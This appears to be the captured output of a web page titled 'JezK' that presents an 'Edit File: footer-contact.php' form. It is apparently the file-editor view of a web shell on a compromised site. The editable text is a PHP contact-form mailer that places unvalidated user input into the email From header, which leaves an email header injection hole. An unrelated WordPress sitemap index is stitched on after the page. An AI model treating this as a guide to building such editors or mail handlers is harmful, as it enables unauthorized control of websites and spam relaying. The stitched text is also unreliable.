
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: footer-contact.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

//Retrieve form data. 
//GET - user submitted data using AJAX
//POST - in case user does not support javascript, we&#039;ll use POST instead
$name = ($_GET[&#039;name&#039;]) ? $_GET[&#039;name&#039;] : $_POST[&#039;name&#039;];
$email = ($_GET[&#039;email&#039;]) ?$_GET[&#039;email&#039;] : $_POST[&#039;email&#039;];
$comment = ($_GET[&#039;comment&#039;]) ?$_GET[&#039;comment&#039;] : $_POST[&#039;comment&#039;];

//flag to indicate which method it uses. If POST set it to 1

if ($_POST) $post=1;

//Simple server side validation for POST data, of course, you should validate the email
if (!$name) $errors[count($errors)] = &#039;Please enter your name.&#039;;
if (!$email) $errors[count($errors)] = &#039;Please enter your email.&#039;; 
if (!$comment) $errors[count($errors)] = &#039;Please enter your message.&#039;; 

//if the errors array is empty, send the mail
if (!$errors) {

	//recipient - replace your email here
	$to = &#039;director@daoafghanistan.ngo&#039;;	
	//sender - from the form
	$from = $name . &#039; &lt;&#039; . $email . &#039;&gt;&#039;;
	
	//subject and the html message
	$subject = &#039;Message from &#039; . $name;	
	$message = &#039;Name: &#039; . $name . &#039;&lt;br/&gt;&lt;br/&gt;
		       Email: &#039; . $email . &#039;&lt;br/&gt;&lt;br/&gt;		
		       Message: &#039; . nl2br($comment) . &#039;&lt;br/&gt;&#039;;

	//send the mail
	$result = sendmail($to, $subject, $message, $from);
	
	//if POST was used, display the message straight away
	if ($_POST) {
		if ($result) echo &#039;Thank you! We have received your message.&#039;;
		else echo &#039;Sorry, unexpected error. Please try again later&#039;;
		
	//else if GET was used, return the boolean value so that 
	//ajax script can react accordingly
	//1 means success, 0 means failed
	} else {
		echo $result;	
	}

//if the errors array has values
} else {
	//display the errors message
	for ($i=0; $i&lt;count($errors); $i++) echo $errors[$i] . &#039;&lt;br/&gt;&#039;;
	echo &#039;&lt;a href=&quot;index.html&quot;&gt;Back&lt;/a&gt;&#039;;
	exit;
}


//Simple mail function with HTML header
function sendmail($to, $subject, $message, $from) {
	$headers = &quot;MIME-Version: 1.0&quot; . &quot;\r\n&quot;;
	$headers .= &quot;Content-type:text/html;charset=iso-8859-1&quot; . &quot;\r\n&quot;;
	$headers .= &#039;From: &#039; . $from . &quot;\r\n&quot;;
	
	$result = mail($to,$subject,$message,$headers);
	
	if ($result) return 1;
	else return 0;
}

?&gt;</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
